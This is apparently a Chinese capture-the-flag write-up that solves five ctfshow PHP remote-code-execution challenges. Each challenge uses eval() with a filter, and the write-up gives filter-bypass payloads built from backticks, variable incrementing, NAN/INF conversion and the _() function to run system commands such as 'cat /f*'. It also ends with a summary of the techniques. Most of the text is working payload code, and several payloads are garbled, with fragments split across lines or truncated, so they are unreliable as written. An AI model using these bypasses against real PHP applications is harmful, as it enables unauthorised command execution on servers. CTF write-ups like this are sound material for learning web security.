ctfshow-RCE挑战
字数 848 2025-08-19 12:42:02
CTFshow RCE挑战系列解题详解
RCE挑战1
代码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
过滤规则
- 禁用所有错误报告
- 将左括号"("替换为"括号"
- 将点"."替换为"点"
绕过方法
- 使用反引号
`执行命令,无需括号 - 使用
echo输出结果
有效payload
code=echo `cat /f*`;
RCE挑战2
代码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:<>?|{}+-]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
过滤规则
过滤了所有字母、数字和特殊字符@#%^&*:<>?|{}+-
绕过方法
- 使用变量自增构造webshell
- 通过
$_GET传参
有效payload
POST: ctf_show=$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_=_.$___;(
$$
_[_])(
$$
_[__]);
GET: ?_=system&__=ls /
RCE挑战3
代码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!@#%^&*:<>?|{}+-]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
过滤规则
- 长度限制105字符
- 过滤了字母、数字2-9和特殊字符
!@#%^&*:<>?|{}+- - 允许使用
$、0、1
绕过方法
- 使用
(0/0)构造NAN - 使用
(1/0)构造INF - 通过字符串转换获取所需字符
有效payload
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;fe.$%fd.$%fc.$%fb;
$$
_[0](
$$
_[1]);&0=system&1=cat /f1agaaa
RCE挑战4
代码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!@#%^&*:<>?|{}+-]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
过滤规则
- 长度限制84字符
- 过滤了字母、数字1-9和特殊字符
!@#%^&*:<>?|{}+- - 允许使用
$、0
绕过方法
- 使用
(0/0)构造NAN - 通过数组拼接获取字符
有效payload
ctf_show=$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;
$$
_[_](
$$
_[0]);&_=system&0=cat /f*
RCE挑战5
代码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!@#%^&*:<>?|{}+-]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
过滤规则
- 长度限制73字符
- 过滤了所有字母、数字和特殊字符
!@#%^&*:<>?|{}+- - 允许使用
$、_
绕过方法
- 利用
gettext()扩展的_()函数 - 使用不可见字符作为变量名
有效payload
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;ff]);&_=system&%ff=cat /f1agaaa
通用技巧总结
-
字符构造方法:
- 使用
(0/0)得到NAN - 使用
(1/0)得到INF - 使用
([].[])得到ArrayArray
- 使用
-
变量自增:
$a++和++$a的区别- 通过自增从
A构造到Z
-
特殊函数利用:
_()相当于gettext()eval()执行PHP代码
-
编码技巧:
- URL编码特殊字符
- 使用不可见字符缩短payload长度
-
命令执行:
- 反引号
`执行命令 system()函数执行系统命令
- 反引号
-
长度优化:
- 使用最短的变量名
- 利用PHP的隐式类型转换
- 链式操作减少语句数量